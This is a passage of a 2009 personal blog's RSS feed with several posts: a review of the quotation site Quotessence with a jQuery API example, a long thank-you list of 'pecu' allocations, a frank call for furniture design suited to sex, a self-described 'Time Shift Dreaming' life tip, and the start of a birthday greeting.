<p>There is a lot of wisdom in quotes. A lot for all of us to learn from.
Unfortunately, the websites <a class="reference external" href="http://www.quoteland.com/">I've seen</a> dedicated
to quotations are way too cluttered for my tastes.</p>
<p>In contrast, the initial version of Quotessence offers something much cleaner.
Just <a class="reference external" href="http://quotessence.agoraworx.com">go to the website</a> and you are
presented with a single quote to take away. You can even limit it to quotes from
just a single author, e.g. <em>Epigrams in Programming</em> by <a class="reference external" href="http://quotessence.agoraworx.com/perlis">Alan Perlis</a>.</p>
<p>Quotessence is showing a lot of promise for a first release. And the upcoming
features sound quite nice too:</p>
<ul class="simple">
<li>Twitter integration: follow <a class="reference external" href="http://twitter.com/Quotessence">&#64;Quotessence</a>
for regular intakes of words from the wise.</li>
<li>Unix fortune files support.</li>
<li>Addition of a lot more authors/quotations.</li>
</ul>
<p>For the programmers there's even a <a class="reference external" href="http://quotessence.agoraworx.com/api/">JSON-based API</a>. You can limit it to an individual
author, e.g. <a class="reference external" href="http://quotessence.agoraworx.com/api/perlis">http://quotessence.agoraworx.com/api/perlis</a> and even specify an
optional <tt class="docutils literal">callback</tt> parameter for JSON-P usage.</p>
<p>For example, to get the following random quote from the eminently quotable
Mamading:</p>
<script type="text/javascript">
$.getJSON(
    "http://quotessence.agoraworx.com/api/mamading?callback=?",
    function (data) {
        $('#epigraph-content').text(data.quote);
        $('<a />').attr(
          'href', 'http://quotessence.agoraworx.com/' + data.deck
        ).text(data.author).appendTo('#epigraph-attribution');
    }
);
</script>
<div id="epigraph">
  <div id="epigraph-content"></div>
  <div id="epigraph-attribution">&mdash; </div>
</div><p>Just do:</p>
<blockquote>
<div class="syntax javascript"><pre><span class="nx">$</span><span class="p">.</span><span class="nx">getJSON</span><span class="p">(</span><br/>    <span class="s2">&quot;http://quotessence.agoraworx.com/api/mamading?callback=?&quot;</span><span class="p">,</span><br/>    <span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span><br/>        <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;#epigraph-content&#39;</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">quote</span><span class="p">);</span><br/>        <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;&lt;a /&gt;&#39;</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><br/>          <span class="s1">&#39;href&#39;</span><span class="p">,</span> <span class="s1">&#39;http://quotessence.agoraworx.com/&#39;</span> <span class="o">+</span> <span class="nx">data</span><span class="p">.</span><span class="nx">deck</span><br/>        <span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">author</span><span class="p">).</span><span class="nx">appendTo</span><span class="p">(</span><span class="s1">&#39;#epigraph-attribution&#39;</span><span class="p">);</span><br/>    <span class="p">}</span><br/><span class="p">);</span><br/></pre></div>
</blockquote>
<p>All in all this is a great start! And I'd be even more excited if Quotessence
would allow for quotes on Twitter to be captured easily &mdash; sort of like a
<a class="reference external" href="http://www.bash.org">bash.org</a> for Twitter&#8230;</p>
<p>Check out <a class="reference external" href="http://quotessence.agoraworx.com">Quotessence</a> and hassle Mamading
on Twitter <a class="reference external" href="http://twitter.com/evangineer">&#64;evangineer</a> with your
thoughts/praise ;p</p><img src="http://feeds.feedburner.com/~r/asktav/~4/pLWdhI5aRu8" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/quotessence.html</feedburner:origLink></item><item>
    <title>Pecu Allocations by Tav</title>
    <guid isPermaLink="false">http://tav.espians.com/pecu-allocations-by-tav.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/5My0vImACLg/pecu-allocations-by-tav.html</link>
    <pubDate>Sun, 15 Mar 2009 10:14:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<img alt="http://cloud.github.com/downloads/tav/plexnet/gfx.aaken.png" class="float-right" src="http://cloud.github.com/downloads/tav/plexnet/gfx.aaken.png" />
<p>Hundreds of people have &mdash; knowingly or not &mdash; had a <em>direct</em> impact on my
work/vision. Their belief, inspiration, energy, encouragement, suggestions,
criticisms, support (both emotional and financial), tasty treats and hard work
has been phenomenal!</p>
<p>I'd like to reward them with some life-time tav-branded <a class="reference external" href="http://www.thruflo.com/2009/06/09/tav-describes-pecus.html">pecu allocations</a>.</p>
<p>Since I'm not making any pecu payouts at the moment, they're not worth much yet
&mdash; but I hope one day that those who've helped me will feel the gratitude =)</p>
<p>See below for the full list of <a class="reference external" href="http://www.thruflo.com/2009/06/09/tav-describes-pecus.html">pecu</a> allocations.</p>
<p>The following individuals have put in a lot to make my vision a reality and I'd
like to reward them with <strong>200,000</strong> pecus each:</p>
<ul class="double-column simple">
<li>Alex Tomkins</li>
<li>Brian Deegan</li>
<li>Chris Macrae</li>
<li>Cris Pearson</li>
<li>Daniel Biddle</li>
<li>Danny Bruder</li>
<li>David Pinto</li>
<li>Inderpaul Johar</li>
<li>James Arthur (+200,000)</li>
<li>Jeffry Archambeault</li>
<li>John McCane-Whitney</li>
<li>Liliana Avrushin</li>
<li>Luke Graybill</li>
<li>Mamading Ceesay (+100,000)</li>
<li>Martyn Hurt</li>
<li>Matthieu Rey-Grange</li>
<li>Mathew Ryden (+100,000)</li>
<li>Nadine Gahr</li>
<li>Nathan Staab</li>
<li>Narmatha Murugananda</li>
<li>Navaratnam Para</li>
<li>Nicholas Midgley</li>
<li>Øyvind Selbek (+200,000)</li>
<li>Sofia Bustamante</li>
<li>Sean B. Palmer (+100,000)</li>
<li>Stefan Plantikow</li>
<li>Tim Jenks</li>
<li>Tiziano Cirillo</li>
<li>Tom Salfield</li>
<li>Yan Minagawa</li>
</ul>
<p>The following beautiful creatures have helped at various critical junctures or
laid key foundations. For this they get <strong>20,000</strong> pecus each:</p>
<ul class="double-column simple">
<li>Aaron Swartz</li>
<li>Adam Langley</li>
<li>Ade Thomas</li>
<li>Adnan Hadzi</li>
<li>Alex Greiner</li>
<li>Alex Pappajohn</li>
<li>Allen Short</li>
<li>Andreas Dietrich</li>
<li>Andrew Kenneth Milton</li>
<li>Anne Biggs</li>
<li>Anne Helene Wirstad</li>
<li>Anette Hvolbæk</li>
<li>Bryce Wilcox-O'Hearn</li>
<li>Charles Goodier</li>
<li>Chris Wood</li>
<li>Claire Assis</li>
<li>David Bovill</li>
<li>Derek Richards</li>
<li>Eric Hopper</li>
<li>Eric Wahlforss</li>
<li>Erik Möller</li>
<li>Erol Ziya</li>
<li>Ephraim Spiro</li>
<li>Fenton Whelan</li>
<li>Fergus Doyle</li>
<li>Gary Alexander</li>
<li>Gloria Charles</li>
<li>Guido van Rossum</li>
<li>Guilhem Buzenet</li>
<li>Howard Rheingold</li>
<li>Itamar Shtull-Trauring</li>
<li>Jacob Everist</li>
<li>Jan Ludewig</li>
<li>Jill Lundquist</li>
<li>Jim Carrico</li>
<li>Jo Walsh</li>
<li>Joe Short</li>
<li>Joerg Baach</li>
<li>John Hurliman</li>
<li>Josef Davies-Coates</li>
<li>Henri Cattan</li>
<li>Henry Hicks</li>
<li>Ka Ho Chan</li>
<li>Karin Kylander</li>
<li>Karina Arthur</li>
<li>Katie Miller</li>
<li>Kisiyane Roberts</li>
<li>Laura Tov</li>
<li>Lesley Donna Williams</li>
<li>Lucie Rey-Grange</li>
<li>Maciej Fijalkowski</li>
<li>Mark Poole</li>
<li>Maria Glauser</li>
<li>Maria Chatzichristodoulou</li>
<li>Matthew Sellwood</li>
<li>Matthew Skinner</li>
<li>Mayra Graybill</li>
<li>Mia Bittar</li>
<li>Mohan Selladurai</li>
<li>Neythal (Sri Lanka)</li>
<li>Nolan Darilek</li>
<li>Olga Zueva</li>
<li>Paul Böhm</li>
<li>Phillip J. Eby</li>
<li>Pierre-Antoine Tetard</li>
<li>Ricky Cousins</li>
<li>Salim Virani</li>
<li>Saritah (Sarah Louise Newman ?)</li>
<li>Saul Albert</li>
<li>Shalabh Chaturvedi</li>
<li>Simeon Scott</li>
<li>Simon Michael</li>
<li>Simon Fox</li>
<li>Simon Reynolds</li>
<li>Stephan Karpischek</li>
<li>Steve Alexander</li>
<li>Suhanya Babu</li>
<li>Tavin Cole</li>
<li>Thamilarasi Siva</li>
<li>Tim Berners-Lee</li>
<li>Tom Owen-Smith</li>
<li>Vanda Petanjek</li>
<li>Xiao Xuan Guo</li>
</ul>
<p>These lovely supporters get <strong>2,000</strong> pecus each:</p><ul class="double-column simple">
<li>Adam Burns</li>
<li>Adam Karpierz (Poland)</li>
<li>Adam Perfect</li>
<li>Adam Wern</li>
<li>Adir Tov</li>
<li>Agathe Pouget-Abadie</li>
<li>Al Tepper</li>
<li>Alan Wagenberg</li>
<li>Alex Bustamante</li>
<li>Alexander Wait (USA)</li>
<li>Alice Fung</li>
<li>Andreas Kotes</li>
<li>Andreas Schwarz</li>
<li>Andrius Kulikauskas</li>
<li>Andy Dawkins</li>
<li>Andy McKay</li>
<li>Andrew M. Kuchling</li>
<li>Andrew McCormick</li>
<li>Angela Beesley Starling</li>
<li>Anna Gordon-Walker</li>
<li>Anna Rothkopf</li>
<li>Annalisa Fagan</li>
<li>Anne Doyle</li>
<li>Anselm Hook</li>
<li>Ante Pavlov</li>
<li>Arani Siva</li>
<li>Ash Gerrish</li>
<li>Ashley Siple</li>
<li>Auro Tom Foxtrot</li>
<li>Azra Gül</li>
<li>Beatrice Wessolowski</li>
<li>Ben Pirt</li>
<li>Ben Swartz</li>
<li>Benjamin Geer</li>
<li>Benny &ldquo;Curus&rdquo; Amorsen</li>
<li>Bernard Lietaer</li>
<li>Blake Ludwig</li>
<li>Boian Rodriguez Nikiforov</li>
<li>Bram Cohen</li>
<li>Brandon Wiley</li>
<li>Bree Morrison</li>
<li>Brenton Bills</li>
<li>Brian Coughlan</li>
<li>Briony &ldquo;Misadventure&rdquo; (UK)</li>
<li>Callum Beith</li>
<li>Candie Duncan</li>
<li>Carl Ballard Swanson</li>
<li>Carl Friedrich Bolz</li>
<li>Céline Seger</li>
<li>Chai Mason</li>
<li>Charley Quinton</li>
<li>Chris Cook</li>
<li>Chris Davis</li>
<li>Chris Heaton</li>
<li>Chris McDonough</li>
<li>Chris Withers</li>
<li>Christoffer Hvolbaek</li>
<li>Christopher Satterthwaite</li>
<li>Christopher Schmidt</li>
<li>Clara Maguire</li>
<li>Cory Doctorow</li>
<li>Craig Hubley</li>
<li>Cyndi Rhoades</li>
<li>Damiano Vukotić</li>
<li>Dan Brickley</li>
<li>Daniel Harris</li>
<li>Daniel Magnoff</li>
<li>Dante-Gabryell Monson</li>
<li>David Bausola</li>
<li>David Cozens</li>
<li>David Goodger</li>
<li>David Mertz</li>
<li>David Midgley</li>
<li>David Mills</li>
<li>David Saxby</li>
<li>Darran Edmundson</li>
<li>Darren Platt</li>
<li>Debra Bourne (UK)</li>
<li>Dharushana Muthulingam</li>
<li>Dermot ? (UK)</li>
<li>Dimitris Savvaidis</li>
<li>Dominik Webb</li>
<li>Donatella Bernstein</li>
<li>Dorothee Olivereau</li>
<li>Dmytri Kleiner</li>
<li>Earle Martin</li>
<li>Edward Saperia</li>
<li>Eléonore De Prunelé</li>
<li>Elisabet Sahtouris</li>
<li>Elkin Gordon Atwell</li>
<li>Elmar Geese</li>
<li>Emma Wigley</li>
<li>Emmanuel Baidoo</li>
<li>Erik Stewart</li>
<li>Fabian Kyrielis</li>
<li>Farhan Rehman</li>
<li>Femi Longe</li>
<li>Felicity Wood</li>
<li>Felix Iskwei</li>
<li>Florence David</li>
<li>Francesca Cerletti (UK)</li>
<li>Francesca Romana Giordano</li>
<li>Gabe Wachob</li>
<li>Gabrielle Hamm</li>
<li>Gareth Strangemore-Jones</li>
<li>Gary Poster</li>
<li>Gaurav Pophaly</li>
<li>Gavin Starks</li>
<li>Gemma Youlia Dillon</li>
<li>Geoff Jones</li>
<li>Geoffry Arias</li>
<li>George Nicholaides</li>
<li>Gerry Gleason</li>
<li>Giles Mason</li>
<li>Glyph Lefkowitz</li>
<li>Gordon Mohr</li>
<li>Grant Stapleton</li>
<li>Greg Timms</li>
<li>Gregor J. Rothfuss</li>
<li>Guy Kawasaki</li>
<li>Hannah Harris</li>
<li>Harriet Harris</li>
<li>Heather Wilkinson</li>
<li>Helen Aldritch</li>
<li>Henry Bowen</li>
<li>Holly Lloyd</li>
<li>Holly Porter</li>
<li>Ian Clarke</li>
<li>Ian Hogarth</li>
<li>Ida Norheim-Hagtun</li>
<li>Igor Tojcic</li>
<li>Ilze Black</li>
<li>Inge Rochette</li>
<li>James Binns</li>
<li>James Cox (UK)</li>
<li>James Howison (Australia)</li>
<li>James Hurrell</li>
<li>James McKay (Switzerland)</li>
<li>James Stevens</li>
<li>James Sutherland</li>
<li>James Wallace</li>
<li>Jan-Klaas Kollhof</li>
<li>Jane Moyses</li>
<li>Javier Candeira</li>
<li>Jeannie Cool</li>
<li>Jeremie Miller</li>
<li>Jessica Bridges-Palmer</li>
<li>Jim Ley</li>
<li>Jimmy Wales</li>
<li>Joanna O'Donnell</li>
<li>Joe Geldart (UK)</li>
<li>Joey DeVilla</li>
<li>John Bywater</li>
<li>John Cassidy</li>
<li>John Lea</li>
<li>John &ldquo;Sayke&rdquo; ?</li>
<li>Joi Ito</li>
<li>Jon Bootland</li>
<li>Jonathan Robinson</li>
<li>Joni Davis ?</li>
<li>Jose Esquer</li>
<li>Joseph O'Kelly (UK)</li>
<li>Joy Green</li>
<li>Juan Pablo Rico</li>
<li>Jubin Zawar</li>
<li>Judith Martin</li>
<li>Julia Forster</li>
<li>Jurgen Braam</li>
<li>Justin O’Shaughnessy (UK)</li>
<li>Ka-Ping Yee</li>
<li>Kapil Thangavelu</li>
<li>Karen Hessels</li>
<li>Katerina Tselou</li>
<li>Katja Strøm Cappelen</li>
<li>Kath Short</li>
<li>Katie Keegan</li>
<li>Katie Prescott</li>
<li>Katy Marks</li>
<li>Kelly Teamey</li>
<li>Ken Manheimer</li>
<li>Kevin Hemenway</li>
<li>Kevin Marks</li>
<li>Kiran Jonnalagadda</li>
<li>Kiyoto Kanda</li>
<li>Lanchanie Dias Gunawardena</li>
<li>Laura Scheffler</li>
<li>Lauri Love</li>
<li>Leon Rocha</li>
<li>Lena Nalbach</li>
<li>Leslie Vuchot</li>
<li>Lewis Hart</li>
<li>Libby Miller</li>
<li>Lion Kimbro</li>
<li>Lisa Colaco</li>
<li>Lord Kimo</li>
<li>Lottie Child</li>
<li>Lucas Gonzalez</li>
<li>Luke Francl</li>
<li>Luke Kenneth Casson Leighton</li>
<li>Luke Nicholson</li>
<li>Luke Robinson</li>
<li>Lynton Currill Kim-Wai Pepper</li>
<li>Magnolia Slimm</li>
<li>Manuel Sauer</li>
<li>Maor Bar-Ziv</li>
<li>Marco Herry</li>
<li>Mark Brown</li>
<li>Mark Chaplin</li>
<li>Mark Hodge</li>
<li>Mark S. Miller</li>
<li>Markus Quarta</li>
<li>Marguerite Smith</li>
<li>Marshall Burns</li>
<li>Martin Peck</li>
<li>Mary Fee</li>
<li>Matt Cooperrider</li>
<li>Matthew Devney</li>
<li>Mattis Manzel</li>
<li>Mayra Vivo Torres</li>
<li>Meghan Benton</li>
<li>Meera Shah</li>
<li>Menka Parekh</li>
<li>Michael Linton</li>
<li>Michael Maranda</li>
<li>Michael Sparks</li>
<li>Michel Bauwens</li>
<li>Mike Linksvayer</li>
<li>Mikey Weinkove</li>
<li>Mitchell Jacobs</li>
<li>Molly Webb</li>
<li>Moraan Gilad</li>
<li>Mostofa Zaman</li>
<li>Navindu Katugampola</li>
<li>Nathalie Follen</li>
<li>Nick Hart-Williams</li>
<li>Nick Ierodiaconou</li>
<li>Nick Szabo</li>
<li>Nicolas David</li>
<li>Niels Boeing (Germany)</li>
<li>Nils Toedtmann</li>
<li>Nisha Patel</li>
<li>Nishant Shah</li>
<li>Noa Harvey</li>
<li>Noah Slater</li>
<li>Oliver Morrison</li>
<li>Oliver Sylvester-Bradley</li>
<li>Oz Mose</li>
<li>Pamela McLean</li>
<li>Paola Desiderio</li>
<li>Paolo &ldquo;xerox&rdquo; Martini (UK)</li>
<li>Pascale Scheurer</li>
<li>Patrick Andrews</li>
<li>Patrick Yiu</li>
<li>Paul Everitt</li>
<li>Paul Harrison</li>
<li>Paul Mutton (UK)</li>
<li>Paul Pesach</li>
<li>Paul Robinett</li>
<li>Peri Urban</li>
<li>Pete Brownwell</li>
<li>Petit-Pigeard Clotilde</li>
<li>Phil G</li>
<li>Phil Harris</li>
<li>Piccia Neri</li>
<li>Pietro Speroni di Fenizio</li>
<li>R. David Murray</li>
<li>Rama Gheerawo</li>
<li>Raph Levien</li>
<li>Rasmacone Boothe</li>
<li>Rasmus Tenbergen</li>
<li>Rastko ?</li>
<li>Ray Murray</li>
<li>Raymond Hettinger</li>
<li>Rayhan Omar</li>
<li>Rebecca Harding</li>
<li>Reem Martin</li>
<li>Riccarda Zezza</li>
<li>Rob Lord</li>
<li>Robert De Souza</li>
<li>Robert Kaye</li>
<li>Robert Knowles</li>
<li>Robin Upton</li>
<li>Rodney Shakespeare</li>
<li>Rohit Khare</li>
<li>Roman Nosov</li>
<li>Ron Briefel</li>
<li>Ricardo Niederberger Cabral</li>
<li>Richard Ford</li>
<li>Richard Nelson</li>
<li>Richard &ldquo;coldfyre&rdquo; Nicholas (USA)</li>
<li>Roger Dingledine</li>
<li>Romek Szczesniak</li>
<li>Ross Evans (UK)</li>
<li>Rufus Pollock</li>
<li>Salim Fadhley (UK)</li>
<li>Sam Brown</li>
<li>Sam Geall</li>
<li>Sam Joseph</li>
<li>Sara Kiran</li>
<li>Selas Mene</li>
<li>Servane Mouazan</li>
<li>Shahid Choudhry</li>
<li>Shane Hughes</li>
<li>Simon Bartlet</li>
<li>Simon Persoff</li>
<li>Simon Rawles</li>
<li>Sonia Ali</li>
<li>Sophie ? (Austria)</li>
<li>Sophie Le Barbier</li>
<li>Stan Rey-Grange</li>
<li>Stayce Kavanaugh</li>
<li>Stefan Baker</li>
<li>Steffi Dayalan</li>
<li>Stella Boeva</li>
<li>Stephan Dohrn</li>
<li>Stephen Wilmot</li>
<li>Steve Jenson</li>
<li>Steve Peake</li>
<li>Steven Starr</li>
<li>Su Nandy</li>
<li>Suresh Fernando</li>
<li>Suw Charman</li>
<li>Sunir Shah</li>
<li>Sym Von LynX</li>
<li>Tamsin Lejeune</li>
<li>Tanis Taylor</li>
<li>Tansy E Huws</li>
<li>Tess Ashwin</li>
<li>Tim Wacker (USA)</li>
<li>Tom D. Harry (UK)</li>
<li>Tom Heiser</li>
<li>Tom Longson</li>
<li>Tom Williams</li>
<li>Tommy Hutchinson</li>
<li>Tommy Teillaud</li>
<li>Toni Prug</li>
<li>Toni Sola</li>
<li>Tony Cook</li>
<li>Tyler Eaves</li>
<li>Ushani Suresh</li>
<li>Veeral ?</li>
<li>William Wardlaw-Rogers</li>
<li>Wayne Siron</li>
<li>Wes Felter</li>
<li>Wybo Wiersma</li>
<li>Zoe Young</li>
</ul>
<p>And, finally, whilst I'm not currently making any pecu allocations to them, I
feel deeply indebted to these visionaries, musicians, coders and writers:</p>
<ul class="double-column simple">
<li>A. R. Rahman</li>
<li>Alan Kay</li>
<li>Asian Dub Foundation</li>
<li>Au Revoir Simone</li>
<li>Bruce Sterling</li>
<li>Buckminster Fuller (passed away)</li>
<li>Daft Punk</li>
<li>David Lynch</li>
<li>Douglas Engelbart</li>
<li>Fernando Perez</li>
<li>India Arie</li>
<li>Jeff Buckley (passed away)</li>
<li>Kim Stanley Robinson</li>
<li>Lawrence Lessig</li>
<li>M.I.A.</li>
<li>Mahatma Gandhi (passed away)</li>
<li>Manu Chao</li>
<li>Marc Stiegler</li>
<li>Mark Pilgrim</li>
<li>Marlena Shaw</li>
<li>Massive Attack</li>
<li>Michael Franti</li>
<li>Muhammad Yunus</li>
<li>Neal Stephenson</li>
<li>Nouvelle Vague</li>
<li>P.M.</li>
<li>Paul Graham</li>
<li>Peter Norvig</li>
<li>Portishead</li>
<li>Ray Charles (passed away)</li>
<li>Ray Ozzie</li>
<li>Richard P. Gabriel</li>
<li>Tanya Stephens</li>
<li>Ted Nelson</li>
<li>Tim Peters</li>
<li>Vannevar Bush (passed away)</li>
<li>Vint Cerf</li>
</ul>
<p>Thank you all!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/5My0vImACLg" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/pecu-allocations-by-tav.html</feedburner:origLink></item><item>
    <title>Needed: Better Interior Design for Sex</title>
    <guid isPermaLink="false">http://tav.espians.com/needed-better-interior-design-for-sex.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/ecmiyrM76hw/needed-better-interior-design-for-sex.html</link>
    <pubDate>Sat, 14 Mar 2009 14:57:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Given the importance of sex in our lives, it's surprising how little interior
design facilitates it. This is a call to all pioneering designers out there. You
have a market of billions who are being poorly catered for.</p>
<p>Start designing today!</p>
<div class="center">
  <a href="http://xkcd.com/335/"><img
    src="http://cloud.github.com/downloads/tav/plexnet/gfx.xkcd-mattress.png"
    alt="XKCD Mattress Comic Strip" /></a><br />
  <div class="image-caption">by <a href="http://xkcd.com/335/">xkcd</a></div>
</div><p>It is essential that all designs serve multiple purposes. That is, it should not
be obvious that they are for sex. That is just tacky. Having a <a class="reference external" href="http://www.loveswing.com/">Love Swing</a> in your living room is a sure way to give your
guests the creeps!</p>
<p>Instead, check out the <a class="reference external" href="http://www.tantrachair.com/chair.htm">Tantra Chair</a>
(Warning: NSFW). This classy eco-friendly fuck chair could easily blend in as
part of the regular living room furniture. Lovers can be comfortable. Guests
have a nice seat =)</p>
<p>Variation is important to a healthy sex life. And the physical elements in our
homes should be designed to facilitate this! Otherwise the tendency is to fall
back on the same old positions/routines and that is just painful!!</p>
<p>Take the bathroom as an example. Sex whilst showering together is great fun! Yet
most houses have poorly designed bathrooms/showers in this regard. You have to
perform some acrobatics to get the heights and angles right.</p>
<p>So many good moments are lost because the design wasn't good enough to help make
it happen. But if enterprising designers would work at this, it would make for a
better world. Not least, it would open the doorways of imagination to even more
possibilities than what we have today!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/ecmiyrM76hw" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/needed-better-interior-design-for-sex.html</feedburner:origLink></item><item>
    <title>Top Life Tips: #10 Time Shift Dreaming</title>
    <guid isPermaLink="false">http://tav.espians.com/top-life-tips-time-shift-dreaming.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/eIy2XWhva_8/top-life-tips-time-shift-dreaming.html</link>
    <pubDate>Fri, 13 Mar 2009 00:10:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>This is the first in a series of articles in which I'll share methods that I've
been using for a happy and productive life.</p>
<div class="float-right-aligned">
  <a href="http://www.flickr.com/photos/pensiero/1211074535/"><img
       src="http://farm2.static.flickr.com/1249/1211074535_6e11519a88.jpg"
       alt="Dream of Prometheus" /></a><br />
  <div class="image-caption">by <a
       href="http://www.flickr.com/photos/pensiero/1211074535/">Pensiero</a></div>
</div><p><em>Tip 10: Time Shift Dreaming</em></p>
<p>We spend a significant amount of time sleeping. It's important for many things
&mdash; not least <a class="reference external" href="http://www.sharpbrains.com/blog/2008/03/24/sleep-tetris-memory-and-the-brain/">memory consolidation</a>.</p>
<p>But you can take advantage of this time to improve youself:</p>
<ul class="simple">
<li>Come up with creative solutions</li>
<li>Learn new things</li>
<li>Resolve emotional hangups</li>
</ul>
<p>How? Using a methodology that I call &ldquo;Time Shift Dreaming&rdquo;.</p>
<p>I discovered this method rather accidentally when I was about 6 years old. My
parents had told me that the spirit of our ancestors were always watching over
us &mdash; and being a gullible child, I'd believed them.</p>
<p>And one day, I did something which I wasn't proud of. And fearing the wrath of
these all knowing spirits, I tried to figure out how to <a class="reference external" href="http://www.time.com/time/magazine/article/0,9171,972934,00.html">go back in time</a>.</p>
<p>For days after, I sat around day dreaming &mdash; replaying the events of the past
but imagining how I would have reacted differently.</p>
<p>The guilt passed and these flights of fancy became a regular habit. I fancied
myself a Lord of Time and would &ldquo;jump&rdquo; into different timelines/universes and
explore alternative realities.</p>
<p>But there weren't enough hours in a day for these fantasies, so I started
setting up scenarios just before I would drift off to sleep:</p>
<ul class="simple">
<li>Choose a point in time to jump to &mdash; in the past or future</li>
<li>Define my reason for being there</li>
<li>Start exploring the new &ldquo;reality&rdquo; as I gradually fell asleep</li>
</ul>
<p>This is what I now call time shift dreaming.</p>
<p>I spent most of my youth in these fantasies &mdash; both awake and asleep. But
somehow, despite not spending much time reading my textbooks &mdash; I'd just skim
them for an overview &mdash; I seemed to be excelling at my studies.</p>
<p>This was always a puzzle to me &mdash; how did I know things which I had't studied?
Instead of actually studying the damned texts, I would be fantasising about what
I would be doing in the future <em>with</em> the knowledge I would have by studying the
texts.</p>
<p>Years later, <a class="reference external" href="http://twitter.com/evangineer">Mamading Ceesay</a> would have an
answer for me. He postulates that by skimming the texts and then exploring
scenarios related to their content in my dreams, I was somehow actually
<em>reading</em> the texts!!</p>
<p>Let me break that one down. We have a relatively high level of bandwidth for
taking in information. The problem is in the processing of it. It takes time to
actually understand the content. But what if we offload this to dream time?</p>
<p>If we trust that our pre-conscious mind will somehow remember every page we look
at &mdash; no matter how briefly &mdash; then we can rely on it to process the information
for us. All we need to do is to give it focus &mdash; which is achieved by doing the
scenario setup for the dream &mdash; tada!!</p>
<p>It seems that in my dreams I was doing something similar to those in the <a class="reference external" href="http://serendip.brynmawr.edu/exchange/node/2317">famous
basketball experiment</a>. And
the current research on <a class="reference external" href="http://en.wikipedia.org/wiki/Mirror_neurons">mirror neurons</a> seems to back up the act of
&ldquo;assuming&rdquo; knowledge during the dreams.</p>
<div class="float-left-aligned">
  <a href="http://www.flickr.com/photos/tonivc/2283676770/in/photostream/"><img
       src="http://farm4.static.flickr.com/3214/2283676770_6b53f8b77f.jpg"
       width="400px" height="300px"
       alt="Dream of Prometheus" /></a><br />
  <div class="image-caption">by <a
       href="http://www.flickr.com/photos/tonivc/2283676770/in/photostream/">ToniVC</a></div>
</div><p>I also use time shift dreaming to come up with creative solutions to problems &mdash;
by jumping into a future scenario where I've solved the problem.</p>
<p>And often I wake up with solutions. Be warned that this particular use of the
technique sometimes takes a few iterations though&#8230;</p>
<p>But the practice that has really helped me a lot is jumping into the past. This
is the reason that I started entertaining these fantasies in the first place &mdash;
to re-explore the past.</p>
<p>By doing this I've managed to resolve many of the emotional traumas in my life.
Most people generally suppress unpleasant events. The lucky ones pay expensive
therapists to help get beyond these.</p>
<p>By re-exploring the past in time shift dreaming, I've found that I can practice
self therapy and just resolve these myself!</p>
<p>Simply put yourself into a past scenario which you wish could have been
different and explore different realities. Watch and listen. Try out different
actions on behalf of yourself and everyone else involved.</p>
<p>Keep repeating this &mdash; making subtle changes every time. If a scenario proves to
be too painful to re-live directly, work on it gradually. Explore related
scenarios until you are comfortable enough.</p>
<p>And, eventually, you'll reach a turnaround and find yourself much happier. Not
only will you have gained much better understanding of the events, but hopefully
you also gained a better understanding of everyone else's actions.</p>
<p>I've used this to good effect and have been able to overcome traumas like
growing up in a civil war/genocide and being homeless as a teenager. My
anxieties and anger replaced by love and forgiveness.</p>
<p>Again, according to <a class="reference external" href="http://twitter.com/evangineer">Mr. Ceesay</a>, what's
happening here is something akin to <a class="reference external" href="http://en.wikipedia.org/wiki/Neuro-linguistic_programming#Anchoring">anchoring</a>. In my
dreams, I'm anchoring pleasant experiences in place of the unpleasant ones.</p>
<p>Whether this is true or not I do not know. Whether any of this will work for you
I do not know. All I know is that it works for me. And by sharing I hope I've
provided some useful insights for you.</p>
<p>It would be interesting to see how everyone else finds time shift dreaming
though. If you're up for it, why don't you have a go? Perhaps even blog about
your ongoing experience?</p>
<p>You can leave a link in the comments below for others to follow.</p>
<p>By trying this out independently we could figure out what does work for everyone
and what doesn't. At the very least, it's an extremely fun and addictive form of
escapism. Enjoy and let me know how it fares for you!</p>
<p>And, oh, let me know if you'd care to know any other life tips of mine or
whether this is enough for one life time ;p</p><img src="http://feeds.feedburner.com/~r/asktav/~4/eIy2XWhva_8" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/top-life-tips-time-shift-dreaming.html</feedburner:origLink></item><item>
    <title>Happy Birthday Matthieu!</title>
    <guid isPermaLink="false">http://tav.espians.com/happy-birthday-matthieu.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/y7z_BSPJMqU/happy-birthday-matthieu.html</link>
    <pubDate>Thu, 12 Mar 2009 20:36:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Tomorrow, it's the birthday of the Rey-Grange twins: <a class="reference external" href="http://mattrg.free.fr/">Matthieu</a> and Stan. I'd like to wish them a brilliant day and a
magical year!</p>
<img alt="http://farm4.static.flickr.com/3438/3350036644_d2a1a5c042.jpg?v=0" class="float-right-aligned" src="http://farm4.static.flickr.com/3438/3350036644_d2a1a5c042.jpg?v=0" />
<p>Matthieu was my housemate of 2 years &#64; Brushfield Riva and is the best housemate
that I've ever had!</p>
<p>He is one of the kindest souls that one is ever likely to meet and a real
